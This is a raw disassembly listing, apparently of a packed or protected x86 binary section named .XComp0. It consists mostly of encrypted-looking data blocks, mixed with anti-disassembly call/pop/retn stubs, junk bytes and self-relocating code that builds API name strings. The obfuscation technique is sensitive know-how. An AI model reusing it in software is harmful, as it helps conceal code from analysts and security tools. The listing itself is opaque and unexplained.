		dd 0FAFB0EADh, 56AD1152h, 6F596608h, 98C7962h, 45149950h
		dd 8195725Ah, 83BE4B72h, 649C527Ch, 0CA0E6D79h,	2BFEEF3Ah
		dd 24C6310Bh, 0B44BEEDFh, 0D802FD06h, 0FFEC0B2Bh, 0F7E4DB06h
		dd 3CD2870Eh, 0ED16C4A3h, 2DDCFFE8h, 0F0EED4A8h, 5DFF374Bh
		dd 805E8C83h, 6547937Ah, 0BB5C8083h, 0B7857C59h, 0C96D7C27h
		dd 0D198AC86h, 0FB0CB079h, 0F914B946h, 271125F4h, 0FBB1EC0h
		dd 0FDBC31F8h, 0B2BD802h, 840902ECh, 7E301E19h,	1E598C3h
		dd 725BD95Bh, 0D87E2B9Bh, 0C826B319h, 62975243h, 5B01C8B1h
		dd 915845D9h, 0A06F4F68h, 3F3FA48Eh, 81000001h,	0BB3268FFh
		dd 3FFA13BCh, 852059FAh, 35962996h, 9A0CDDD0h, 8EF49EDh
		dd 27AC21E2h, 29968556h, 0EBA122Fh, 0CB448716h,	735F9EB0h
		dd 0A68959BBh, 674934DFh, 0D9C62996h, 3F2DE5F3h, 379A40AFh
		dd 0A9807594h, 0B319BC60h, 8940C526h, 0F16F6504h, 48C32920h
		dd 232C2B64h, 964C85F8h, 0CC050229h, 0B922CB2Ah, 5B13F914h
		dd 0A5A464F4h, 595E4F9Ah, 181F9671h, 0ED5F56B7h, 1B12CC1Ah
		dd 87703E2Ch, 6493A362h, 9A795F7Ah, 96860079h, 49807D29h
		dd 3E3F9544h, 7DFB495Fh, 0BC85BC75h, 963DDE9Fh,	88AE5B29h
		dd 66A547AEh, 0A364886Fh, 66A94532h, 0A364886Fh, 0BFABDA32h
		dd 1BE65BDFh, 963D7D00h, 0E90DFA29h, 0FEE0CC1Ah, 0CCF0D70Dh
		dd 2734DF09h, 29963D56h, 9A1BD6D3h, 0D4D92C8Dh,	0E8D3CC05h
		dd 34FDAC21h, 5627340Dh, 0CC29963Dh, 0AF7E720h,	0F61FBE4h
		dd 0AA449271h, 0B85EB10Dh, 0F8599139h, 9AE3708Eh, 1729958Eh
		dd 2928826Ah, 2E517D2h,	2A72EDBh, 0C134D7F5h, 8C8DE3CBh
		dd 0DC4294Ah, 291066E9h, 40CF2996h, 4E785C12h, 515EABBFh
		dd 0AA11E076h, 9F3DBA5Fh, 9EB0696Ch, 618C7A94h,	908425A8h
		dd 8A32B89Ah, 5FF977Dh,	0BB241D5h, 8A5DF7FEh, 9C6D505Ch
		dd 9738BF68h, 84AA7F76h, 95EB91C1h, 96795529h, 85622D1Fh
		dd 1EA46251h, 0DCE31ED3h, 8FEA29F2h, 0C2995A4h,	6D3DA0Fh
		dd 0B8421BF0h, 75054D2Fh, 0D8FFFFFEh, 9C87F221h, 17042995h
		dd 69FF41F7h, 0DB310831h, 1C6D12E2h, 2F223409h,	2F8EBA57h
		dd 0D1E3A8C2h, 86D227AEh, 0F9936A4Ah, 0E32EE382h, 0C1C547F2h
		dd 9DCD9AF3h, 0F411BA25h, 0E32A9362h, 0F221D841h, 239CAD87h
		dd 0F8F71704h, 0B8BF36D7h, 0EB1CC013h, 493EAF26h, 24A8511Dh
		dd 0EFA539Fh, 661724A9h, 0E3239CB9h, 0FCE11026h, 0E30CEB11h
		dd 0B960193Ah, 20DD239Ch, 21C730E9h, 0D6934CE2h, 0F204FFE9h
		dd 9CB91B5Fh, 0D8379723h, 1CE9D2D5h, 6542399h, 0A92BCC58h
		dd 4E3BEE60h, 31D06691h, 67A64725h, 952B5AB2h, 4E00842Ah
		dd 0EA98EA8h, 36B559AEh, 83F05799h, 0AF5EC04Fh,	0F4D877ECh
		dd 7AAF6067h, 549238BFh, 6DD35F66h, 1C32F7E4h, 0DBAE26C3h
		dd 66A1CA9Bh, 8F1945E9h, 0EC119136h, 0E42DD421h, 0BE1DC23Dh
		dd 34E5E81Dh, 0D21F8FDh, 8A67F320h, 7D2A2996h, 97C47DC4h
		dd 1DA47EE6h, 0E495A663h, 611DA47Eh, 0B0A892A4h, 0BA45FC26h
		dd 0D461F512h, 0A58E5B47h, 1C918E23h, 0C63CB01Bh, 0C147C3B7h
		dd 0F44DF43Dh, 0A2D11667h, 80969317h, 6DAC0FB6h, 0A2D0CBAEh
		dd 645B4817h, 9E438E77h, 0A851BC21h, 0A2D1126Bh, 7C928F17h
		dd 0A04EC663h, 0B1F5CD66h, 0E1D87B9Bh, 7440D2A1h, 6BA44CB3h
		dd 0A95C7D6Ah, 232FCE60h, 0B567A249h, 0BA5FAC12h, 81A9D47Fh
		dd 7926EE72h, 526D0CD5h, 42179E6Bh, 399E3DACh, 0B4757893h
		dd 7281D6A7h, 9B5653EEh, 6329AB56h, 49A730D8h, 53418A02h
		dd 0D1182D4Ch, 16C3A43Dh, 0D4F9FEEFh, 0F716B439h, 142D33EBh
		dd 0D2239AC0h, 90CC20EDh, 0A160F6A8h, 0B01FD1B5h, 0D0E7760Bh
		dd 2DF91DEEh, 157h, 24E307F0h, 31CE2C12h, 2A0D808Bh, 688E43C0h
		dd 54786589h, 44F61B3h,	0AFF577FCh, 344DBF7Ah, 798A3F77h
		dd 22F5D605h, 1FF983CAh, 95C989F4h, 0D0190629h,	0E70706E7h
		dd 0D340AA4Dh, 95C93548h, 0CA41AB29h, 0F3B016C3h, 0E227E00Ch
		dd 0D72E9B3Ah, 0C2100425h, 23CD1FDFh, 4831E217h, 0C5299614h
		dd 13B736D8h, 12E750F4h, 0D1C447A5h, 1482FB18h,	2FF2996h
		dd 3ADDFDECh, 96146019h, 7203DD29h, 0F0DA6D6Dh,	0CB76BB76h
		dd 15828B34h, 876253B6h, 0C42ACD67h, 9B56B915h,	0BA5F7E69h
		dd 95E0E099h, 4D6E5D29h, 0AD6435B8h, 6057C064h,	320A8B7Ch
		dd 0C5826803h, 62F43D82h, 8B12A93h, 0E821F8FDh,	2ECD334h
		dd 0EAD58409h, 2F10502h
		dd 0BF42DDAh, 8B32CE3h,	35F4ED01h, 96825326h, 0E9D3D029h
		dd 13FAE3C4h, 750813EEh, 0F2299682h, 0DFC82135h, 18EFDBFCh
		dd 880DC495h, 0C9CC3B9Fh, 4DA08FFh, 5BF841FEh, 29968222h
		dd 0AD4CE29Fh, 8EFC8A1h, 0DCB025E6h, 0C9285D29h, 0A2CE56Ah
		dd 2B8BEE2Dh, 0FE082996h, 329FA866h, 0CD6FBA71h, 0AE1F0627h
		dd 61000000h, 818C31CEh, 75B95D0Ch, 97E271C8h, 14299685h
		dd 0FC84C767h, 0CF299685h, 0A3668572h, 28D77732h, 0CEC6663Ah
		dd 8595E873h, 15122996h, 854E2FECh, 0DECB2996h,	0C815B938h
		dd 0F527E223h, 4E9E8D2h, 1CD58409h, 66CD3FE8h, 4C80500h
		dd 0EACF1E30h, 0F2D9E61Bh, 9A3DF717h, 4336E532h, 0C02995D4h
		dd 2ED30EC3h, 95D48CEDh, 0E51C0929h, 95D44336h,	33C3C029h
		dd 9FEDE09h, 41CAF4D3h,	5C817E9Bh, 933B3CB1h, 69A0797Ch
		dd 42C726C5h, 0C8B16297h, 452995D4h, 9B7CB658h,	0BD51BA24h
		dd 0C87C912Eh, 81Bh, 320F6500h,	4EE023C5h, 0AC658CE8h
		dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h
		dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 54571BCCh, 4C7815Fh
		dd 83000000h, 3C8704EFh, 89515C24h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 241C895Ch, 81E68956h, 4C6h,	4EE8300h
		dd 5C243487h, 50243489h, 0AA5618B8h, 0BA1F0533h, 0C389D256h
		dd 8324048Bh, 0EC8104C4h, 4, 83242489h,	5E042404h, 8BA52h
		dd 0F2010000h, 24048153h, 0E815B2Eh, 2A81028Fh,	0E815B2Eh
		dd 24348B5Ah, 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch
; ---------------------------------------------------------------------------
		sbb	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0B87CD518h, 6011865h, 0D38BC503h, 16EBh, 4 dup(0)
		dd 1010000h, 7F8h, 6A0601h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0F5D203C3h, 24048950h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F8C35242h
		dd 0FFF853CEh, 180DBD8Bh, 6A05F9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 24C35141h, 620020A2h, 8B665C7Ch
		dd 6A006AD1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6552C356h, 0E5BD3133h,	8D05F927h
		dd 11AD285h, 6850F06h, 9000000h, 0F92885BDh, 52505005h
		dd 0F525057h, 59585A31h, 0FB9310Fh, 5A18F56Ah, 24048958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 21C35343h
		dd 0DC1662E2h, 8D58D23h, 6A05F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 1AC35040h, 0B6ACA96h, 5A87ECB8h
		dd 60D3B70Fh, 0D358D89h, 8B6605F9h, 6A61FEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 41C35747h, 0C03B5568h
		dd 66939761h, 0FFCCC8BBh, 0F913ED95h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 12E9DAh, 96CC0000h, 8AF858E4h, 175B0605h, 2C8AD98Ch
		dd 1CFBE3C7h, 67AE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0E19D011Bh, 0E805F914h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6011AD7h
		clc
		push	0
		push	edx
		call	sub_5ED0D7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED0D7	proc near		; CODE XREF: .XComp0:005ED0CFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5ED0D7	endp

; ---------------------------------------------------------------------------
		cmc
		mov	gs, [esi+66h]
		xchg	eax, ecx
		dec	eax
		fldcw	word ptr [eax+2Ah]
		icebp
		daa
		das
		xor	dword ptr [esp], 2F27FE8Ah
		push	0
		push	eax
		call	sub_5ED105
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED105	proc near		; CODE XREF: .XComp0:005ED0FDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5ED105	endp

; ---------------------------------------------------------------------------
		db 1Eh,	0ECh, 0ADh
; ---------------------------------------------------------------------------
		mov	ecx, 166131C4h
		movzx	edi, si
		call	dword ptr [ebp+5F91AEDh]
		mov	[ebp+5F9198Dh],	ebx
		lea	esi, [ebp+6011915h]
		push	0
		push	ebx
		call	sub_5ED13D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED13D	proc near		; CODE XREF: .XComp0:005ED135p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5ED13D	endp

; ---------------------------------------------------------------------------
		db 68h,	66h, 8Bh
; ---------------------------------------------------------------------------
		stc
		mov	dword ptr [esi], 6D676552h
		push	0
		push	ebp
		call	sub_5ED162
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED162	proc near		; CODE XREF: .XComp0:005ED15Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5ED162	endp

; ---------------------------------------------------------------------------
		dw 0EC59h
; ---------------------------------------------------------------------------
		mov	eax, ss:0DCF75116h
		mov	ebx, ds:[ebp+5F9292Dh]
		mov	dword ptr [esi+4], 6C636E6Fh
		jmp	loc_5ED19B
; ---------------------------------------------------------------------------
		db 6Fh,	0E8h, 12h
; ---------------------------------------------------------------------------
		push	ebx
		fdivr	qword ptr [edx]
		push	eax
		sbb	eax, 3D21215Dh
		push	eax
		push	es


loc_5ED19B:				; CODE XREF: .XComp0:005ED188j
		mov	dword ptr [esi+8], 737361h
		xor	bl, 5Eh
		push	0
		push	0
		push	eax
		call	sub_5ED1B2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED1B2	proc near		; CODE XREF: .XComp0:005ED1AAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5ED1B2	endp

; ---------------------------------------------------------------------------
		cmp	bl, al
		test	eax, 7C3F52A4h
		mov	ecx, [ebx]
		mov	edi, [ebp+5F90961h]
		lea	eax, [ebp+6011915h]
		push	0
		push	ecx
		call	sub_5ED1E2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ED1E2	proc near		; CODE XREF: .XComp0:005ED1DAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5ED1E2	endp

; ---------------------------------------------------------------------------
		dw 2613h
		dd 5F5DDB85h, 0E85053C5h, 5, 0CFABA57Bh, 28D0F77h, 50000000h
		dd 4895F59h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0FD061A3h, 95FFFBBFh, 5F914D5h, 0C55958Bh
		dd 0C00B05F9h, 39840Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 4EBF76C3h, 6E8h, 0E87A7F00h
		dd 0F164C77h, 288h, 5BCB8B00h, 434E9h, 0E892B500h, 4, 12Ch
		dd 0F5017B7h, 1B81h, 8B666000h,	10E8F0h, 0F1B70000h, 0AE441AA4h
		dd 313BC49Bh, 5E6A0F2Eh, 615F3000h, 424448Bh, 8C0Fh, 8B0000h
		dd 8B525060h, 0E9310FDFh, 5, 771E5025h,	0F585A32h, 389h
		dd 0CA8B6600h, 24448961h, 8B525004h, 60310FD0h,	0AE8h
		dd 39DE5700h, 63E001A6h, 5F8180ECh, 5A61DF8Bh, 7E95858h
		dd 78000000h, 861AFE72h, 890F38D0h, 1, 0ED95FFF9h, 6A05F91Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 8E71C352h, 2E9ECBB2h, 0B70F1B9Eh,	15B58DDAh
		dd 6A060119h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0FDAEC352h, 0FF30B172h, 893956F0h
		dd 0F927A985h, 5E905h, 81AA0000h, 0C7BEAB4Eh, 34383106h
		dd 859D8B36h, 0C705F914h, 2D370446h, 0E9603134h, 12h, 0E1332880h
		dd 8DF63A52h, 4A8FD7DEh, 3FA23D6Bh, 0BE8418Ch, 62000000h
		dd 0E68EFD52h, 7B7841E7h, 0FB8B36EDh, 46C76159h, 8, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8F768AABh, 8BBBE5F3h, 6A006AD3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6464C357h
		dd 1002EE54h, 0D78166EAh, 858D228Ah, 6011915h, 0C88A50F5h
		dd 9240489h, 0F931B98Dh, 0D595FF05h, 8B05F914h,	0F929459Dh
		dd 55DF8105h, 0B2610B2h, 30840FC0h, 51000000h, 28BDBD89h
		dd 0E95A05F9h, 275h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 6AC35646h, 0B18589EAh, 0E805F924h, 4
		dd 12Ch, 0DE9h,	2F40AB00h, 0AB4DED30h, 88A506F7h, 5050CD85h
		dd 9E852h, 3EFA0000h, 0ADAE3E24h, 0E80316D3h, 0Eh, 0FB47C250h
		dd 6818B5A0h, 0E0373B52h, 595F0039h, 91B6310Fh,	448B585Ah
		dd 52500424h, 8B665250h, 5A310FD0h, 8B310F58h, 8B585AD9h
		dd 66525000h, 310FD08Bh, 585AD4B1h, 4244489h, 11E8h, 9F32B000h
		dd 90BA66B9h, 4A2F3AE5h, 4138D80Bh, 0BA664BABh,	585962B2h
		dd 11E8h, 0C649E800h, 3E0FA26Dh, 627F69E7h, 4FBAB51h, 8D0B2556h
		dd 5F907E9h, 0ED95FF5Bh, 6A05F91Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DF38C355h
		dd 2566BA04h, 11BD31E6h, 6605F919h, 2410F181h, 1915B58Dh
		dd 8A0F0601h, 6, 1818D8Bh, 6C705F9h, 656C6946h,	0EE8h
		dd 999D9D00h, 0F7161FC0h, 0FE2BC48Bh, 0E8C1B091h, 11h
		dd 607F7741h, 7D2C482Eh, 0F68E8DA6h, 0A6C3FFB9h, 0BD8D8BFBh
		dd 5F05F917h, 446C75Bh,	636E6F6Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 52C35242h, 0D1D78072h, 89A1E670h
		dd 0F900D19Dh, 846C705h, 7373616Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 65C35646h, 1FD49949h, 0C7F9B3DAh
		dd 0C46h, 830F0000h, 0Eh, 9E9h,	6E639A00h, 1DCB07E1h, 6A13D6h
		dd 15858DF5h, 6A060119h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0ADE6C356h,	294BA5DBh
		dd 0F910198Dh, 0BE99005h, 58000000h, 11D3560Ah,	0B43B5901h
		dd 0F508712h, 1784h, 12E900h, 16660000h, 0D833D1B8h, 0FE31EB50h
		dd 2BB3BC5Fh, 8786EB1Fh, 0B58B6090h, 5F92AD1h, 76EF8166h
		dd 95FF611Bh, 5F914D5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 81C35141h, 7985EC36h,	76B98A14h, 0B5B8F0Fh
		dd 0F840FC0h, 66000000h, 0E981DBBFh, 11h, 31858D0Bh, 14E905F9h
		dd 33FFFFFAh, 0F931419Dh, 85B58D05h, 6605F972h,	0B8D78Bh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 831EC351h, 2A1E4DDEh, 0DE920h
		dd 6AA70000h, 93998E26h, 995C92AAh, 0FFF2B8E1h,	52006AE6h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 6651CB0Bh, 8B5FDA8Bh, 0FDED55C1h, 0F67A5E75h, 0E669A476h
		dd 0FD49BC56h, 0FD241032h, 0FD243F90h, 0FD2428D1h, 0FD24A037h
		dd 0FD246521h, 0FD24871Fh, 0FD24F6E4h, 0FD244EC5h, 0FD2412B0h
		dd 0FD243FFFh, 0FD2428B4h, 0FD24A229h, 0FD24658Ah, 0FD24846Bh
		dd 0FD24F534h, 0FD244CF0h, 0FD241044h, 358A259Dh, 0D6A22295h
		dd 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h
		dd 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h
		dd 0FD7A5E75h, 0A34AC176h, 0A348BA75h, 0FD7ACB75h, 0FC7BE475h
		dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 0FC5F1AF0h, 86FFA673h
		dd 707C9654h, 0FC5F91F0h, 0C6FF6C73h, 707CF354h, 0FC5FE1F0h
		dd 8AFF3573h, 707C5F54h, 0FC5ED7F0h, 0C2FF1E73h, 707CCA54h
		dd 0FC5E52F0h, 0BEFF7B73h, 707C7854h, 0FC59E9F0h, 0BAFFD773h
		dd 707C2E54h, 0FC59F0F0h, 0B6FF4273h, 707CE454h, 0FC598FF0h
		dd 0B2FFF073h, 707CBD54h, 0FC5986F0h, 0A6FFA673h, 707C9654h
		dd 0FC596FF0h, 0AEFF6C73h, 707CF354h, 0FC59BAF0h, 0AAFF3573h
		dd 707C5F54h, 0FC59F7F0h, 0A6FF1E73h, 707CCA54h, 0FC5EF7F0h
		dd 96FF7B73h, 707C7854h, 0FC5E8DF0h, 92FFD773h,	707C2E54h
		dd 0FC5EC3F0h, 8EFF4273h, 707CE454h, 0FC5E6FF0h, 0A2FFF073h
		dd 707CBD54h, 0FC5E8AF0h, 9EFFA673h, 707C9654h,	0FC5FA4F0h
		dd 9AFF6C73h, 767CF354h, 45A3CF0h, 49FF3570h, 767C5F54h
		dd 45A0EF0h, 45FF1E70h,	9C7CCA54h, 11F1B0B6h, 0FD7AF29Dh
		dd 17FB2375h, 0FB7B9EBDh, 0F53FD525h, 0DCC9ADFDh, 34229174h
		dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 0FC585598h
		dd 0C7FFA073h, 7D7C2E54h, 0FC5BADC8h, 0B409CF73h, 4B75E4C5h
		dd 89BAF9B5h, 45EF8635h, 0BD7CBD54h, 452B96FEh,	0FD7A2F7Ah
		dd 0DCC2028Ah, 48F7CD74h, 0FB7BC44Eh, 50FCC6F8h, 0FD7E4B9Dh
		dd 456FCF75h, 0FD7A5E76h, 0DCC2BA8Ah, 48F79174h, 0FB7BEA4Eh
		dd 50FCD1F8h, 1F23228Ah, 0C7F787BCh, 0A07CBD54h, 0A320052Dh
		dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 0DCCE708Ah,	3ED1F474h
		dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 49EFD0DEh,	9B7C9654h
		dd 959208DEh, 0B7AE577h, 8872F336h, 49EF866Eh, 4D7CBD54h
		dd 0AD7954C5h, 0DCCEBA8Ah, 9B209174h, 9B7E2BF6h, 561C277Eh
		dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh
		dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h
		dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h
		dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h
		dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh,	0FB7BD3C1h
		dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h
		dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h
		dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h,	0FD7B439Dh
		dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h
		dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h
		dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h
		dd 0FD7AE2CDh, 45EF0D75h, 707C7854h, 0FC5BC3C0h, 518A5D73h
		dd 2D02C7Fh, 0FC5B23E0h, 0E5920873h, 4D7AE574h,	5779F825h
		dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh,	4DD0C7C5h
		dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah
		dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h,	3F5122FEh
		dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh
		dd 0CCFF69B6h, 7D7CCA54h, 0FC5BD4C8h, 0EC0FF373h, 0DCD9FCF8h
		dd 152ABA74h, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh
		dd 0C30D8Ah, 9CCA0D8Ah,	0CCF787DFh, 7D7CBD54h, 0FC5B6FC8h
		dd 0F10F2F73h, 0DCD912F8h, 152ACD74h, 0FD7AE4DEh, 0FD7E4AB6h
		dd 68857975h, 0FB7B9DCDh, 0DB7AC3F8h, 0F9F02974h, 4DB93D6Dh
		dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh,	3E783571h
		dd 0DCCECB8Ah, 4ACE2974h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h
		dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h
		dd 49EF68B6h, 7D7CCA54h, 39FAEA91h, 9B7542F5h, 15D12EDEh
		dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh,	0FD7ACB73h
		dd 0DCC2708Ah, 60F7F474h, 0FB7B58E2h, 3E39A0F8h, 0FD7A4ECDh
		dd 45EFD075h, 7E7C9654h, 35F1CEB5h, 49EF1A89h, 577CF354h
		dd 15B98E97h, 28543BEh,	0D97B1DFFh, 778E5A72h, 0FC6C7F76h
		dd 1608CB75h, 8831DB6h,	11F1A789h, 9D86BDF6h, 0FD7ABC9Dh
		dd 17FB0475h, 0FB7B0965h, 7D86EAFCh, 0FC5B78CFh, 7975E573h
		dd 0FD7AF2ECh, 0FD7A73CDh, 45E84375h, 0BD7C5F54h, 0DCC6ADFCh
		dd 35F19174h, 0DB9E79F8h, 6F85E374h, 0FB7BD3C1h, 1F3C7FFDh
		dd 0FD6D0480h, 7F795E75h, 0FB7B0EC9h, 25E01A35h, 7E7CCA53h
		dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0FB7B9DC9h, 0DBBCECF8h
		dd 59892974h, 0FD722F2Bh, 6F85CB75h, 0FB7BC4CDh, 897E0AF6h
		dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
		dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
		dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah,	80F18489h
		dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
		dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
		dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0A90162Fh, 707CCA53h
		dd 0FC5B25CFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
		dd 3DE7A226h, 7D7C9654h, 887BD349h, 1683BE71h, 3E82A977h
		dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB7B0845h, 0DCBA25F8h
		dd 80F1CD74h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
		dd 0FB7B7FB5h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 0DCBA58F8h
		dd 0C2FBF474h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
		dd 9C82969Eh, 40F7ABB6h, 0FB7BC4B5h, 0FD7AF3CDh, 0FD72C075h
		dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB7BB6B8h,	0CA8BD08Ah
		dd 25E9h, 8F368C00h, 6Eh, 7 dup(0)
		dd 0B2E90000h, 0BE000007h, 8F36EE23h, 993CE02Fh, 0C530D42Fh
		dd 9C3BE124h, 0F25D730h, 205E592h, 3AD1FBDAh, 11F8E302h
		dd 2AE30CEBh, 0EC27D0F2h, 23955E91h, 2790590Eh,	944548C7h
		dd 638CBC82h, 984423AAh, 2F42CA6Fh, 0D1AA2EC9h,	0B637CCEEh
		dd 2E082EE3h, 0E6E726C7h, 0B314DC01h, 28410E7Eh, 0EC8D00C9h
		dd 0B720E7D3h, 24F5F817h, 14FBE312h, 760714EDh,	0F3299638h
		dd 0E924C936h, 0C82135E4h, 830AF9DFh, 0E1B339A4h, 0B10E9E82h
		dd 0B0981DD4h, 60D589D5h, 397C3399h, 0CD69470Bh, 0FA1CE9D2h
		dd 0F0CDDF0Bh, 0DD00E71Dh, 0FD34D1FAh, 407DD044h, 9353DECh
		dd 0D1EE4BE5h, 0DF0E20EBh, 2AF1DBFCh, 964590E9h, 0D9100D29h
		dd 458AF320h, 1A072996h, 0F3D9DECFh, 0C90005E6h, 9BC746C4h
		dd 3ADF2A91h, 5FFC1FBDh, 2996451Eh, 0B223EE9Bh,	3CDD57F7h
		dd 0FEEF16C3h, 3EC0B2Bh, 7A00830Ah, 0F6299645h,	0BABD30D5h
		dd 19FFF613h, 0EA3EE0EEh, 0F613BA45h, 4EC22AFFh, 552E1741h
		dd 657190A6h, 9AE370C9h, 17299604h, 0AD3FC46Ah,	6A4D2FDCh
		dd 0ADh, 8A46CEBCh, 0D105D346h,	0A66EDC42h, 32C6584Eh
		dd 2DF0CD1Ch, 96768BEEh, 0D61B0829h, 764734DFh,	17C12996h
		dd 0E2FEE9ECh, 0EB22A82Dh, 3CCFEDFFh, 0D729E0B9h, 0E023C532h
		dd 1AC33CEDh, 0B6A463F3h, 2F521CD0h, 6D94Dh, 9B240000h
		dd 53BDB32h, 4F79648Ch,	685E60B4h, 726ADAEBh, 8D3136B7h
		dd 1AF88192h, 88752996h, 7E6B4C41h, 0E56D486Ah,	91AACE71h
		dd 0D2D339A0h, 4E3F8A14h, 6878269h, 5E4FBA21h, 34EAF8CFh
